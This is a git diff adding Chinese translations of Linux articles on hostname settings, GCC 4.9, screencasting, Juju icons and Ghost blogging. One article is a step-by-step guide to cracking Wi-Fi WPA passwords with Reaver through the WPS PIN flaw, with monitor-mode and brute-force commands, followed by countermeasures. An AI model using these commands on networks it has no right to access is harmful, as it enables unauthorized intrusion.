Faenza和Faience的发明者, **Ubuntu设计师 Matthieu "Tiheum" James**,发布了一篇富有见地的有趣文章,这篇文章围绕着几个图标的发明展开,使得对此感兴趣的用户和第三方开发人员能够直观地了解一个专业的设计师是怎样创作一个图标的。
|
||||
|
||||
这里提到的图标专为Juju设计,在最近的OpenStack峰会香港站上,在与Ubuntu展台的参观者们见面的时候发布,这些图标采用了一个有趣的特性,“为了向参观Ubuntu展台的观众说明Juju可以做什么,**我们想**用更特殊的一些东西来代替普通的Juju图标。我们决定使用这样一个创意,将不同的配料与酱汁与冰淇淋自由搭配创作出图标,这样用户就能理解,他们能够使用同样的方法,自由搭配建立Juju中的服务。
|
||||
|
||||
这篇文章介绍了在真实的图标创作过程中的真实心路历程,使读者沉浸在一个学习但却易于掌握的旅程中,在旅程之中包括寻找好的概念、最初的草图、为图标添加立体感、采用不同的设计方法、选择图标背景、精炼图标等等。总之,这是一个通俗易懂的设计故事。
|
||||
|
||||

|
||||
|
||||
你可以在这里享受全文[http://design.canonical.com/2013/11/juju-ice-cream-icon-design/][1]。
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://iloveubuntu.net/deepen-your-creative-knowledge-explanatory-user-friendly-icon-creation-design-story
|
||||
|
||||
译者:[crowner](https://github.com/crowner) 校对:[Mr小眼儿](http://blog.csdn.net/tinyeyeser)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
[1]:http://design.canonical.com/2013/11/juju-ice-cream-icon-design/
|
23
published/GCC 4.9 Is Now In Bug-Fixes-Only Stage 3 Mode.md
Normal file
23
published/GCC 4.9 Is Now In Bug-Fixes-Only Stage 3 Mode.md
Normal file
@ -0,0 +1,23 @@
|
||||
GCC 4.9现在处于修复BUG的第三阶段
|
||||
================================================================================
|
||||
|
||||
拥有很多[新功能][2]的[GCC 4.9][1]将定于2014年上半年发布。这个GCC的基础代码将不会增加新的功能,目前将只修改大的BUG。
|
||||
|
||||
Richard Biener宣称代码主干目前处于第三阶段,因此在之后的八个月这些功能将融入到4.9版本,除非有发布主管认可的特例发生,不然不会增加新的功能了。第三阶段只做普通BUG的修复工作,将在2个月内完成,而后到达只编写文档和回归测试的第四阶段。
|
||||
|
||||
目前GCC4.9有63个P1 回归测试(最严重的回归测试)其次是136个P2回归测试,14个P3回归测试,88个P4回归测试 以及60个P5回归测试。直到P1阶段的63个回归测试完成,GCC4.9才接近发布。GCC 4.9.0发布版将可能在2014第二季度左右到来!
|
||||
|
||||
GCC 4.9.0状态报告可以在[GCC mailing list][3]中被找到。GCC 4.9将会是一个非常棒的更新,并会挑战下个月发布的[LLVM3.4][4]。
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://www.phoronix.com/scan.php?page=news_item&px=MTUyMjk
|
||||
|
||||
译者:[Vic___](http://blog.csdn.net/Vic___) 校对:[wxy](https://github.com/wxy)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
[1]:http://www.phoronix.com/scan.php?page=search&q=GCC+4.9
|
||||
[2]:http://www.phoronix.com/scan.php?page=news_item&px=MTUxNzQ
|
||||
[3]:http://gcc.gnu.org/ml/gcc/2013-11/msg00435.html
|
||||
[4]:http://www.phoronix.com/scan.php?page=search&q=LLVM+3.4
|
145
published/How To Display And Set Hostname in Linux.md
Normal file
145
published/How To Display And Set Hostname in Linux.md
Normal file
@ -0,0 +1,145 @@
|
||||
如何在Linux中显示和设置主机名
|
||||
================================================================================
|
||||

|
||||
|
||||
随着连接到网络的计算机数量越来越多,每一台计算机都需要有一个属性来区别于其它计算机。和现实世界中的人一样,计算机也有一个叫做hostname(主机名)的属性。
|
||||
|
||||
### 什么是hostname ###
|
||||
|
||||
从它的操作手册来看,hostname是用来显示系统的DNS名字以及为了显示和设置它的主机名或者NIS域名名字。所以hostname依赖于DNS(Domain Name System域名系统)或者NIS(Network Information System网络信息系统)。
|
||||
|
||||
|
||||
### 怎么显示hostname ###
|
||||
|
||||
hostname是为每一个linux发行版的预安装命令。通过在控制台输入hostname,可以显示你的机器的hostname。这里有一个有个简单的命令及其输出。
|
||||
|
||||
|
||||
$ hostname
|
||||
ubuntu
|
||||
|
||||
上面的命令将会告诉你,计算机的名字是**ubuntu** 。
|
||||
|
||||
|
||||
### 如何设置hostname ###
|
||||
|
||||
Hostname是在你第一次安装Linux的时候设置。其中有一个步骤Linux会让你输入主机名称的信息。不过,如果你愿意的话,你在之后设置也可以。
|
||||
|
||||
设置你的hostname,你可以使用下面的命令:
|
||||
|
||||
# hostname dev-machine
|
||||
|
||||
$ hostname
|
||||
dev-machine
|
||||
|
||||
你**需要使用root权限**,或者等同root的权限来设置/修改你计算机的主机名。“#”标识证明你是root用户。上述命令把你的计算机主机名设置成为**dev-machine**。如果你没有收到任何报错信息,那么你的hostname已经改变了。再一次使用hostname命令检查,看看结果。
|
||||
|
||||
使用hostname命令设置你的hostname **不是永久的** 。当你重启你的计算机,你的设定将会失效。 **为了永久改变** ,你必须手动修改hostname配置文件。
|
||||
|
||||
**Debian / Ubuntu系的Linux**
|
||||
|
||||
你可以在 **/etc/hostname** 和 **/etc/hosts** 文件夹中找到这个文件
|
||||
|
||||
下面是每一个文件的内容
|
||||
|
||||
**/etc/hostname**
|
||||
|
||||
# vi /etc/hostname
|
||||
dev-machine
|
||||
|
||||
**/etc/hosts**
|
||||
|
||||
# vi /etc/hosts
|
||||
127.0.0.1 localhost
|
||||
127.0.0.1 dev-machine
|
||||
|
||||
你将会发现不用重启你的linux它就即刻生效。
|
||||
|
||||
**RedHat / CentOS系的Linux**
|
||||
|
||||
你可以在 **/etc/hosts** 和 **/etc/sysconfig/networks** 文件夹中找到这个文件。
|
||||
|
||||
下面是每一个文件的内容
|
||||
|
||||
**/etc/hosts**
|
||||
|
||||
127.0.0.1 localhost.localdomain localhost dev-machine
|
||||
::localhost 127.0.0.1
|
||||
|
||||
**/etc/sysconfig/network**
|
||||
|
||||
NETWORKING=yes
|
||||
NETWORKING_IPV6=no
|
||||
HOSTNAME=dev-machine
|
||||
|
||||
### 怎么显示DNS域名 ###
|
||||
|
||||
来自上面的hostname的定义,hostname也可以显示你的Linux的DNS名字。如果你的hostname命令会显示你的hostname,那么dnsdomainname命令也就会显示你的域名。来看看这个简单的例子。
|
||||
|
||||
$ dnsdomainname
|
||||
bris.co.id
|
||||
|
||||
在本篇文章,dnsdomainname命令的结果是 **bris.co.id**。
|
||||
|
||||
如果你看见结果是 (**none**),那么你的机器**没有配置FQDN(Fully Qualified Domain Name 完全符合标准的域名)** 。dnsdomainname命令摘取来自**/etc/hosts**文件的信息。你应该配置它为FQDN格式。下面是一个简单的例子:
|
||||
|
||||
**/etc/hosts**
|
||||
|
||||
127.0.0.1 localhost.localdomain localhost dev-machine
|
||||
::localhost 127.0.0.1
|
||||
192.168.0.104 dev-machine.bris.co.id dev-machine
|
||||
|
||||
为了显示更多的细节,你可以使用参数**-v**
|
||||
|
||||
$ dnsdomainname -v
|
||||
gethostname()=’dev-machine.bris.co.id’
|
||||
Resolving ‘dev-machine.bris.co.id’ …
|
||||
Result: h_name=’dev-machine.bris.co.id’
|
||||
Result: h_aliases=’dev-machine’
|
||||
Result: h_addr_list=’192.168.0.104’
|
||||
|
||||
### 如何显示hostname的更多细节信息###
|
||||
|
||||
Hostname命令可以使用多个参数和一些别名,比如dnsdomainname命令就是它的一个别名。这些参数在每日操作中是有用的。下面这些命令的结果是基于**/etc/hosts**的上述配置。
|
||||
|
||||
**显示IP地址**
|
||||
|
||||
$ hostname -i
|
||||
192.168.0.104
|
||||
|
||||
**显示域名**
|
||||
|
||||
$ hostname -d
|
||||
bris.co.id
|
||||
|
||||
**显示短主机名**
|
||||
$ hostname -s
|
||||
dev-machine
|
||||
|
||||
*这个命令将会产生与只输入hostname同样的结果*
|
||||
|
||||
**显示FQDN格式**
|
||||
|
||||
$ hostname -f
|
||||
dev-machine.bris.co.id
|
||||
|
||||
**显示细节信息**
|
||||
|
||||
所有的参数包括上述信息,都可以通过使用参数**-v** 和 **-d** 来概括。让我们来看一个例子。
|
||||
|
||||
$ hostname -v -d
|
||||
gethostname()=’dev-machine.bris.co.id’
|
||||
Resolving ‘dev-machine.bris.co.id’ …
|
||||
Result: h_name=’dev-machine.bris.co.id’
|
||||
Result: h_aliases=’dev-machine’
|
||||
Result: h_addr_list=’192.168.0.104’
|
||||
bris.co.id
|
||||
|
||||
觉得熟悉吗?没错,运行结果与上面提到的 **dnsdomainname -v** 命令式相同的。
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://linoxide.com/linux-command/display-set-hostname-linux/
|
||||
|
||||
译者:[Vic___](http://blog.csdn.net/Vic___) 校对:[Caroline](https://github.com/carolinewuyan)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
|
@ -0,0 +1,154 @@
|
||||
如何使用Reaver破解Wi-Fi网络的WPA密码
|
||||
================================================================================
|
||||

|
||||
|
||||
Wi-Fi网络能够让我们便利地访问因特网,但同时,我们又不希望隔壁抠门猥琐男总是蹭我们的网,所以自然要给WiFi加个密码,对吧?于是,好消息是,也许你已经看过我的另一篇文章,“[如何轻易破解WEP密码][1]”,所以你使用了更稳固的WPA安全协议。
|
||||
|
||||
但坏消息是,现在有一款自由开源新工具——[Reaver][2],已经挖掘出了无线路由器的一个漏洞,由此能够破解绝大多数路由器上的密码。今天,我就来一步步介绍,如何使用Reaver破解WPA/WPA2密码。最后我会给出相应的防范对策。
|
||||
|
||||
文章的第一部分,是使用Reaver破解WPA的详细步骤,读者可以看视频,也可以跟着下面的文字一起做。然后,我会解释Reaver的工作原理。最后,介绍如何防范Reaver攻击。
|
||||
|
||||
[http://www.youtube.com/embed/z1c1OIMbmb0?wmode=transparent&rel=0&autohide=1&showinfo=0&enablejsapi=1][3]
|
||||
|
||||
在正式开始之前,我还是要不厌其烦强调一下:知识就是力量,但是拥有力量不代表着可以为所欲为、触犯法律。同样,骑白马的不一定是王子,会开锁的也不一定是小偷。本文只是关于某些技术的实验与验证,只适用于学习。你知道的越多,就能够越好的保护自己。
|
||||
|
||||
###准备工作###
|
||||
|
||||
首先,无需成为一名网络专家,学会使用复杂的命令行工具,你只需要准备一张空白DVD、一台能连接WiFi的电脑,并腾出几个小时时间,这就是我们基本需要的东西。要安装Reaver,可以有很多方法,但是这里我们建议你按照下面的指南来做:
|
||||
|
||||

|
||||
|
||||
- [**The BackTrack 5 Live DVD**][4]。BackTrack是一款支持自启动的Linux发行版,上面集成了大量的网络测试工具。虽然这对于安装、配置Reaver并不是必需的一个条件,但是对于大多数用户却是最简单一个方法。从[BackTrack的下载页面(传送门)][5]下载Live DVD,然后刻盘。这里你也可以下载镜像然后使用VMware安装,如果你不知道VMware是啥,额,那就还是刻盘吧。如图所示,下载的时候,下拉菜单选择BackTrack 5 R3版本、Gnome环境、根据你的CPU选择32或64位系统(如果这里不确定是32还是64,为了保险起见,请选择32位),下载类型选择ISO,然后就可以点击下载了。
|
||||
|
||||
- **配有DVD光驱、支持WiFi的电脑**。BackTrack支持大多数的笔记本无线网卡,这一点对于大多数读者应该没什么问题。同时,你的电脑需要有一个DVD光驱,这样才能从BackTrack光盘启动。我的测试环境是一台用了6年的MacBook Pro。
|
||||
|
||||
- **附近要有采用WPA加密的WiFi网络**。没WiFi网,你破解谁去 =。= ……一会我会在“Reaver的工作原理部分”介绍,WiFi防护设置是如何产生安全漏洞、WPA破解是如何成为可能的。
|
||||
|
||||
- **最后,你还需要一点点的耐心**。这是整个实验的最后一步,使用Reaver破解WPA密码并不难,它采用的是暴力破解,因此,你的电脑将会测试大量不同的密码组合,来尝试破解路由器,直到最终找到正确的密码。我测试的时候,Reaver花了大概两个半小时破解了我的WiFi密码。[Reaver的主页][6]上介绍,一般这个时间在4到10个小时之间,视具体情况而定。
|
||||
|
||||
###让我们开始吧###
|
||||
|
||||
此时,你应该已经把BackTrack的DVD光盘刻录好了,笔记本也应该已经准备就绪。
|
||||
|
||||
####第1步:启动BackTrack####
|
||||
|
||||
要启动BackTrack,只需将DVD放入光驱,电脑从光盘启动。(如果不知道如何使用live CD或DVD启动,请自行Google。)启动过程中,BackTrack会让你选择启动模式,选择默认的“BackTrack Text - Default Boot Text Mode”然后回车。
|
||||
|
||||
最终BackTrack会来到一个命令行界面,键入`startx`,回车,BackTrack就会进入它的图形界面。
|
||||
|
||||
####第2步:安装Reaver####
|
||||
|
||||
(文章更新:Reaver在R3版中已经预装,如果你安装的是BT5的R3版,这一步骤可以忽略,直接跳到第3步。)
|
||||
|
||||
Reaver已经加入了BackTrack的最新版软件包,只是还没有集成到live DVD里,所以,在本文最初撰写的时候,你还需要手动安装Reaver。要安装Reaver,首先设置电脑联网。
|
||||
|
||||
1.点击Applications > Internet > Wicd Network Manager
|
||||
2.选择你的网络并点击Connect,如果需要的话,键入密码,点击OK,然后再次点击Connect。
|
||||
|
||||
连上网以后,安装Reaver。点击菜单栏里的终端按钮(或者依次点击 Applications > Accessories > Terminal)。在终端界面,键入以下命令:
|
||||
|
||||
apt-get update
|
||||
|
||||
更新完成之后,键入:
|
||||
|
||||
apt-get install reaver
|
||||
|
||||
如果一切顺利,Reaver现在应该已经安装好了。如果你刚才的下载安装操作使用的是WiFi上网,那么在继续下面的操作之前,请先断开网络连接,并假装不知道WiFi密码 =。= 接下来我们要准备破解它~
|
||||
|
||||
####第3步:搜集设备信息,准备破解####
|
||||
|
||||
在使用Reaver之前,你需要获取你无线网卡的接口名称、路由的BSSID(BSSID是一个由字母和数字组成的序列,用于作为路由器的唯一标识)、以及确保你的无线网卡处于监控模式。具体参见以下步骤。
|
||||
|
||||
**找到无线网卡:**在终端里,键入:
|
||||
|
||||
iwconfig
|
||||
|
||||
回车。此时你应该看到无线设备的相关信息。一般,名字叫做`wlan0`,但如果你的机子不止一个无线网卡,或者使用的是不常见的网络设备,名字可能会有所不同。
|
||||
|
||||

|
||||
|
||||
**将无线网卡设置为监控模式**:假设你的无线网卡接口名称为`wlan0`,执行下列命令,将无线网卡设置为监控模式:
|
||||
|
||||
airmon-ng start wlan0
|
||||
|
||||
这一命令将会输出监控模式接口的名称,如下图中箭头所示,一般情况下,都叫做`mon0`。
|
||||
|
||||

|
||||
|
||||
**找到你打算破解的路由器的BSSID**:最后,你需要获取路由器的唯一标识,以便Reaver指向要破解的目标。执行以下命令:
|
||||
|
||||
airodump-ng wlan0
|
||||
|
||||
(注意:如果`airodump-ng wlan0`命令执行失败,可以尝试对监控接口执行,例如`airodump-ng mon0`)
|
||||
|
||||
此时,你将看到屏幕上列出周围一定范围内的无线网络,如下图所示:
|
||||
|
||||

|
||||
|
||||
当看到你想要破解的网络时,按下Ctrl+C,停止列表刷新,然后复制该网络的BSSID(图中左侧字母、数字和分号组成的序列)。从ENC这一列可以看出,该网络是WPA或WPA2协议。(如果为WEP协议,可以参考我的[前一篇文章——WEP密码破解指南][7])
|
||||
|
||||
现在,手里有了BSSID和监控接口的名称,万事俱备,只欠破解了。
|
||||
|
||||
####第4步:使用Reaver破解无线网络的WPA密码####
|
||||
|
||||
在终端中执行下列命令,用你实际获取到的BSSID替换命令中的 `bssid` :
|
||||
|
||||
reaver -i moninterface -b bssid -vv
|
||||
|
||||
例如,如果你和我一样,监控接口都叫做 `mon0`,并且你要破解的路由器BSSID是`8D:AE:9D:65:1F:B2`,那么命令应该是下面这个样子:
|
||||
|
||||
reaver -i mon0 -b 8D:AE:9D:65:1F:B2 -vv
|
||||
|
||||
最后,回车!接下来,就是喝喝茶、发发呆,等待Reaver魔法的发生。Reaver将会通过暴力破解,尝试一系列PIN码,这将会持续一段时间,在我的测试中,Reaver花了2个半小时破解网络,得出正确密码。正如前文中提到过的,Reaver的文档号称这个时间一般在4到10个小时之间,因此根据实际情况不同,这个时间也会有所变化。当Reaver的破解完成时,它看起来是下图中这个样子:
|
||||
|
||||

|
||||
|
||||
**一些要强调的事实**:Reaver在我的测试中工作良好,但是并非所有的路由器都能顺利破解(后文会具体介绍)。并且,你要破解的路由器需要有一个相对较强的信号,否则Reaver很难正常工作,可能会出现其他一些意想不到的问题。整个过程中,Reaver可能有时会出现超时、PIN码死循环等问题。一般我都不管它们,只是保持电脑尽量靠近路由器,Reaver最终会自行处理这些问题。
|
||||
|
||||
除此以外,你可以在Reaver运行的任意时候按下Ctrl+C中断工作。这样会退出程序,但是Reaver下次启动的时候会自动恢复继续之前的工作,前提是只要你没有关闭或重启电脑(如果你直接在live DVD里运行,关闭之前的工作都会丢失)。
|
||||
|
||||
###Reaver的工作原理###
|
||||
|
||||
你已经学会了使用Reaver,现在,让我们简单了解一下Reaver的工作原理。它利用了WiFi保护设置(WiFi Protected Setup - 下文中简称为WPS)的一个弱点,WPS是许多路由器上都有的一个功能,可以为用户提供简单的配置过程,它与设备中硬编码保存的一个PIN码绑定在一起。Reaver利用的就是PIN码的一个缺陷,最终的结果就是,只要有足够的时间,它就能破解WPA或WPA2的密码。
|
||||
|
||||
关于这个缺陷的具体细节,参看[Sean Gallagher's excellent post on Ars Technica][8]。
|
||||
|
||||
###如何防范Reaver攻击###
|
||||
|
||||
该缺陷存在于WPS的实现过程中,因此,如果能够关闭WPS,WiFi就是安全的(或者,更好的情况是,你的路由器天生就木有这一功能)。但不幸的是,正如Gallagher[在Ars的文章中所指出的][9],即使在路由器设置中人为关掉了WPS,Reaver仍然能够破解其密码。
|
||||
|
||||
> 在一次电话通话中,Craig Heffner说道,很多路由器即使关闭WPS都无法有效防范攻击。他和同事一起测试过,所有的Linksys和Cisco Valet无线路由器都是如此。“在所有的Linksys路由器上,你甚至无法手动关闭WPS,”他说,尽管Web界面中有关闭WPS配置的按钮,但是“它仍然会自动打开,极易受到攻击”。
|
||||
|
||||
因此,方法一:失败!。也许你可以亲自尝试把你的路由器WPS关闭,然后测试一下Reaver是否还能成功破解。
|
||||
|
||||
你也可以在路由器中设置一下MAC地址过滤(只允许指定的白名单设备连接你的网络),但是有经验的黑客还是能够检测出设备的白名单MAC地址,并使用MAC地址仿冒你的计算机。
|
||||
|
||||
方法二:失败!那到底该怎么办?
|
||||
|
||||
我的建议是,我曾经在我的路由器上安装了开源路由固件[DD-WRT][10],成功防御了Reaver攻击。因为,[DD-WRT天生就是不支持WPS的][11],因此,这成为了又一个我热爱自由软件的原因。如果你也对DD-WRT感兴趣,可以看一下这里的[设备支持列表][12],看是否支持你的路由器设备。除了安全上的升级,DD-WRT还可以[监控网络行为][13],[设置网络驱动器][14],[拦截广告][15],[增强WiFi信号范围][16]等,它完全可以[让你60美刀的路由器发挥出600美刀路由器的水平][17]!
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://lifehacker.com/5873407/how-to-crack-a-wi+fi-networks-wpa-password-with-reaver
|
||||
|
||||
译者:[Mr小眼儿](http://blog.csdn.net/tinyeyeser) 校对:[wxy](https://github.com/wxy)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
[1]:http://lifehacker.com/5305094/how-to-crack-a-wi+fi-networks-wep-password-with-backtrack
|
||||
[2]:http://code.google.com/p/reaver-wps/
|
||||
[3]:http://www.youtube.com/embed/z1c1OIMbmb0?wmode=transparent&rel=0&autohide=1&showinfo=0&enablejsapi=1
|
||||
[4]:http://www.backtrack-linux.org/downloads/
|
||||
[5]:http://www.backtrack-linux.org/downloads/
|
||||
[6]:http://code.google.com/p/reaver-wps/
|
||||
[7]:http://lifehacker.com/5305094/how-to-crack-a-wi+fi-networks-wep-password-with-backtrack
|
||||
[8]:http://arstechnica.com/business/news/2011/12/researchers-publish-open-source-tool-for-hacking-wifi-protected-setup.ars
|
||||
[9]:http://arstechnica.com/business/news/2012/01/hands-on-hacking-wifi-protected-setup-with-reaver.ars
|
||||
[10]:http://dd-wrt.com/
|
||||
[11]:http://code.google.com/p/reaver-wps/issues/detail?id=44
|
||||
[12]:http://dd-wrt.com/wiki/index.php/Supported_Devices
|
||||
[13]:http://lifehacker.com/5821773/how-to-monitor-your-internet-usage-so-you-dont-exceed-your-data-cap
|
||||
[14]:http://lifehacker.com/5756233/get-more-out-of-your-dd+wrt-router-with-an-external-drive?tag=ddwrt
|
||||
[15]:http://lifehacker.com/5680670/turn-your-dd+wrt-enabled-router-into-a-whole-house-ad-blocker?tag=ddwrt
|
||||
[16]:http://lifehacker.com/5563196/turn-your-old-router-into-a-range+boosting-wi+fi-repeater?tag=ddwrt
|
||||
[17]:http://lifehacker.com/178132/hack-attack-turn-your-60-router-into-a-600-router
|
@ -0,0 +1,98 @@
|
||||
如何在Linux上制作一个屏幕录像视频教程
|
||||
================================================================================
|
||||
一图胜千言,一个精心设计的指导视频更是能给你带来良好体验。Linux上有你需要的制作有用且高质量教学视频的所有工具。我们将用强大的kdenlive视频编辑器和Audacity音频录制器和编辑器制作一个简单的屏幕录像,并学习如何在YouTube上分享精彩的屏幕录像。
|
||||
|
||||
一台安装了Kdenlive和Audacit软件的Linux系统PC,一个质量好的麦克风或耳机,和一个YouTube的帐号就是你需要准备的全部。(是的,除了Youtube还有很多其他的免费视频共享服务,你也可以使用它们。)YouTube属于Google,Google想让你与全世界共享任何人和事。如果这不是你想做的,请说no。
|
||||
|
||||
我们的工作流程是这样的:
|
||||
|
||||
- 用Kdenlive录制屏幕录像
|
||||
- 用Audacity录制音轨
|
||||
- 添加音轨到Kdenlive
|
||||
- 上传到YouTube
|
||||
- 全世界看你的视频,好开心
|
||||
|
||||
kdenlive支持最流行的数字视频格式,包括AVI,MP4,H.264,和MOV。它支持的图像文件包括GIF,PNG,SVG和TIFF;支持的音频文件格式,包括非压缩的PCM,Vorbis,WAV,MP3和 AC3。你甚至可以阅读和编辑Flash文件。总之,它可以处理很多东西。
|
||||
|
||||
你的配音与你的视频一样重要。请一定要重视你的音频。使音频保持干净和简单,去除杂乱的题外话、方言,并将背景噪声降到最低点。我喜欢用一个质量好的耳麦做讲述,这样你不必担心话筒位置,你可以反复听你自己的讲述而不会影响到你身边的人。
|
||||
|
||||
Kdenlive的文档已过期,它会告诉你制作屏幕录像需要RecordMyDesktop软件。我用的是kdenlive 0.9.4,其实不需要Recordmydesktop。
|
||||
|
||||

|
||||
|
||||
*图 1:默认配置*
|
||||
|
||||
### 制作屏幕录像 ###
|
||||
|
||||
首次安装kdenlive,第一次运行时会启动配置向导。不必在意默认设置,因为你随时都可以改变它们。
|
||||
|
||||
这是我的屏幕录像的设置:高清720p每秒30帧,1280x720的屏幕尺寸。如何知道该使用什么设置项? [Google上有一些说明][1]。设置这些值可到Settings > Configure Kdenlive > Project Defaults > Default Profile > HD 720p 30fps(图1)。
|
||||
|
||||
设置捕捉屏幕的大小到 Settings > Configure Kdenlive > Capture > Screen Grab(图2)。虽然你也可以选择捕捉全屏幕,但最好还是坚持用YouTube规定的尺寸。因为如果使用的尺寸与YouTube规定的不一样,则YouTube将增加黑边来达到合适的尺寸。热切的观众会更加希望看到一个充满生动的内容的屏幕,而不是黑边。
|
||||
|
||||

|
||||
|
||||
*图 2:屏幕录像的屏幕大小*
|
||||
|
||||
默认的YouTube视频播放器的大小是640x360标清320p,又小又模糊。播放器有小屏,大屏,全屏,和多个质量等级的控制。这些设置只有你的观众会使用,640x360标清320p看起来真的不咋样,但郁闷的是你无法改变这个缺陷。尽管如此,你仍然想制作高质量视频的话,你可以添加一些文字来提醒观众尝试更好的配置。
|
||||
|
||||
### 保存你的项目 ###
|
||||
|
||||
在你做任何其他事情之前,点击 File->Save as 保存您的项目,并记住周期性地保存它。
|
||||
|
||||
### 抓取屏幕 ###
|
||||
|
||||
抓屏小菜一碟。到Record Monitor,选择Screen Grab,然后点击Record按钮。屏幕上将打开一个带虚线的框,框里面的所有内容都将被录制下来。因此,你需要做的所有事就是移动框并调整框的大小到你想要l录制的范围。完成后点击停止按钮(图3)。
|
||||
|
||||
|
||||

|
||||
|
||||
*图 3:屏幕抓取*
|
||||
|
||||
单击Stop,自动打开Clip Monitor,你可以预览你的裁剪效果。如果你觉得不错,把它从Project Tree中拖到Video 1轨道。现在你可以编辑你的视频了。总会有需要你修剪的地方;一个快速的方法是,你在Project Monitor里播放你的剪辑片,直到播放到你需要移除部分的末尾。然后暂停,然后按下Shift+r。你的剪辑片将会在你按下停止的时间轴上的点上被切割为两个剪辑。点击你要删除的片断,按下Delete键,噗!它就消失了。
|
||||
|
||||
对于剩下的剪辑片断,可能你想要从时间轴上的某一点开始播放,也可能你想要加入一些好的变换。比如一些简单的渐变就相当不错;右键点击你的剪辑片断,点击Add Effect > Fade > Fade from black 和 Fade to black,然后Kdenlive将自动将这两个效果放到开头和末尾。
|
||||
|
||||
### 添加配音 ###
|
||||
|
||||
请参阅[Whirlwind Intro to Audacity on Linux: From Recording to CD in One Lesson][2]来学习使用Audacity录音的基础操作。以16bit的wav格式导出你的音频文件,然后通过Project > Add Clip导入到Kdenlive。然后将你的新音频剪辑拖到Audio tracks。一个简单的制作视频讲述的方式是边播视频边说。运气好的话,你不需要做很多的清理工作,你的讲述就会与视频同步。
|
||||
|
||||

|
||||
|
||||
*图 4:用Shift+r切割音轨,然后将其中一个剪辑片从切割点拖离,创建一个静音间隙*
|
||||
|
||||
如果你的语速比视频快,你可以在音轨中添加空档时间.很简单,用Shift+r切割音轨,然后将其中一个剪辑片从切割点拖离,创建一个静音间隙。(图4)。
|
||||
|
||||
### Rendering Your Project ### 渲染你的项目
|
||||
|
||||
当你满意自己的编辑,并准备导出你的最终格式时,点击Render按钮。这需要几分钟的时间,取决于你的电脑速度和项目大小。已有为网站预先设定的值,如果你选择File Rendering, 你可以调整你的设置(图5)。我用File Rendering中的H.264,Video比特率12000, Audio比特率384取得了不错的效果。H.264是一种超压缩格式,使用这种格式发布的文件小但质量好。
|
||||
|
||||
|
||||

|
||||
|
||||
*图 5:选择文件渲染,调整你的网页设置*
|
||||
|
||||
### 发布到YouTube ###
|
||||
|
||||
现在你可以在VLC或MPlayer或你喜欢的任何播放器中播放你的视频了,如果它看起来很好,那么你就可以将它上传到你的YouTube帐户里了。YouTube是典型的Google风格,信息中心和视频管理器会混乱又复杂,不过请坚持多研究下,你会理出头绪的。在你做任何事情之前,你必须对你的账户做资格认证,也就是通过短信和邮件获得一个验证码。通过输入验证码证明你不是一个网络爬虫后,你就能上传你的视频了。
|
||||
|
||||
你可以上传你的视频,然后标记它们为私人可见或所有人可见。Google有一些编辑工具,你可能会喜欢,比如自动纠错和配背景音乐。不过以我的拙见,几乎没有人是这样子做背景音乐的,所以这种工具只会令人讨厌。不过你有可能是第一个正确使用这个工具的人哦。
|
||||
|
||||
最有用的编辑工具是自动字幕。我推荐在你所有的视频上使用此功能,不光是为了那些听觉障碍的人,也为了那些需要保持低音量观看的人,确保所有的人都明白你在说什么。字幕工具也能创建副本。
|
||||
|
||||
另一个有用的工具是注释工具,它支持对话气泡,标题,聚光灯和标签。当然,在Kdenlive中,这些你都可以做到,所以都可以尝试一下。
|
||||
|
||||
好吧,到这里就结束了,但似乎我们刚刚开始。请分享你的视频,并在评论中添加Youtube的小建议和技巧。如果可以的话,请在[video.linux.com][3]分享你的新的视频教程,并参加100个Linux教程比赛。
|
||||
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
来源于: http://www.linux.com/learn/tutorials/745745-how-to-make-a-youtube-instructional-screencast-video-on-linux/
|
||||
|
||||
译者:[coolpigs](https://github.com/coolpigs) 校对:[jasminepeng](https://github.com/jasminepeng)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
[1]:https://support.google.com/youtube/answer/1722171?hl=en&ref_topic=2888648
|
||||
[2]:http://www.linux.com/learn/tutorials/422799-whirlwind-intro-to-audacity-on-linux
|
||||
[3]:http://video.linux.com/100-linux-tutorials
|
@ -1,12 +1,12 @@
|
||||
如何在Linux平台上安装Ghost博客平g
|
||||
如何在Linux平台上安装Ghost博客平台
|
||||
===
|
||||
[Ghost][1]是一个相对新的博客发布平台,它开始与在众筹平台kickstarter上的一个[£25,000的众筹项目][2]。尽管WordPress依然是网上主流的博客工具,但它现在已然是一个拥有众多第三方开发的功能的通用内容管理平台,发展到现在已经逐渐变得笨重、复杂以至于难以维护。但于此同时,仅仅诞生才几个月的Ghost承诺要做一个纯粹的博客平台,打造一个以用户为中心的精雕细琢的用户界面。
|
||||
[Ghost][1]是一个相对较新的博客发布平台,它开始于众筹平台kickstarter上一个[£25,000英镑的众筹项目][2]。尽管WordPress依然是网上主流的博客工具,但它现在已然是一个拥有众多第三方开发功能的通用内容管理平台,发展到现在已经逐渐变得笨重、复杂以至于难以维护。但与此同时,仅仅诞生才几个月的Ghost坚持以用户为中心,打造精雕细琢的用户界面,承诺要做一个纯粹的博客平台。
|
||||
|
||||
在本手册中,我将描述**如何在Linux平台设置Ghost博客平台**。
|
||||
在本教程中,我将描述**如何在Linux中设置Ghost博客平台**。
|
||||
|
||||
###在Linux上安装Ghost
|
||||
|
||||
Ghost是使用Node.js框架编写的。因此,首先你需要在你的Linux系统上[安装Node.js框架][3]。确保Node.js的版本为0.10或者更高。接下来,登录入[http://ghost.org][1](需要注册),然后下载Ghost的源代码。记者按照下面的步骤安装:
|
||||
